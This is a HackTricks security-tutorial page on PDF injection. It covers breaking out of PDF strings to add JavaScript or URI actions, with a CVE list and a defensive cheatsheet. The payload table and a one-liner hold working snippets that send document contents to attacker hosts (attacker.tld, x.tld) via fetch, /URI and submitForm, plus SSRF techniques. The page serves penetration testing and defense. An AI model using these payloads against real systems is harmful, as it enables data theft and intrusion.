PDF Injection
Reading time: 5 minutes
tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
If your input is being reflected inside a PDF file, you can try to inject PDF data to execute JavaScript, perform SSRF or steal the PDF content.
PDF syntax is extremely permissive – if you can break out of the string or dictionary that is embedding your input you can append totally new objects (or new keys in the same object) that Acrobat/Chrome will happily parse.
Since 2024 a wave of bug-bounty reports have shown that one unescaped parenthesis or back-slash is enough for full script execution.
TL;DR – Modern Attack Workflow (2024)
- Find any user-controlled value that ends up inside a (parenthesis string),
/URI ( … )or/JS ( … )field in the generated PDF. - Inject
)(closing the string) followed by one of the primitives below and finish with another opening parenthesis to keep the syntax valid. - Deliver the malicious PDF to a victim (or to a backend service that automatically renders the file – great for blind bugs).
- Your payload runs in the PDF viewer:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (see CVE-2024-4367)
- Acrobat → Full JavaScript API (can exfiltrate arbitrary file contents with
this.getPageNthWord)
Example (annotation link hijack):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
The first ) closes the original URI string, we then add a new Action dictionary that Acrobat will execute when the user clicks the link.
Useful Injection Primitives
| Goal | Payload Snippet | Notes |
|---|---|---|
| JavaScript on open | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Executes instantly when the document is opened (works in Acrobat, not in Chrome). |
| JavaScript on link | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Works in PDFium & Acrobat if you control a /Link annotation. |
| Blind data exfiltration | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Combine with this.getPageNthWord inside JS to steal content. |
| Server-Side SSRF | Same as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI. | |
| Line Break for new objects | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | If the library lets you inject new-line characters you can create totally new objects. |
Blind Enumeration Trick
Gareth Heyes (PortSwigger) released a one-liner that enumerates every object inside an unknown document – handy when you cannot see the generated PDF:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
The code iterates over the Acrobat DOM and makes outbound requests for every property/value pair, giving you a JSON-ish dump of the file.
See the white-paper “Portable Data exFiltration” for the full technique.
Real-World Bugs (2023-2025)
- CVE-2024-4367 – Arbitrary JavaScript execution in Firefox’s PDF.js prior to 4.2.67 bypassed the sandbox with a crafted
/JavaScriptaction. - Bug bounty 2024-05 – Major fintech allowed customer-supplied invoice notes that landed in
/URI; report paid $10k after demonstrated SSRF to internal metadata host usingfile:///URI. - CVE-2023-26155 –
node-qpdfcommand-injection via unsanitised PDF path shows the importance of escaping backslashes and parentheses even before the PDF layer.
Defensive Cheatsheet
- Never concatenate raw user input inside
(…)strings or names. Escape\,(,)as required by §7.3 of the PDF spec or use hex strings<...>. - If you build links, prefer
/URI (https://…)that you fully URL-encode; blockjavascript:schemes in client viewers. - Strip or validate
/OpenAction,/AA(additional actions),/Launch,/SubmitFormand/ImportDatadictionaries when post-processing PDFs. - On the server side, render untrusted PDFs with a headless converter (e.g. qpdf –decrypt –linearize) that removes JavaScript and external actions.
- Keep PDF viewers up to date; PDF.js < 4.2.67 and Acrobat Reader before July 2024 patches allow trivial code execution.
References
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (updated May 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks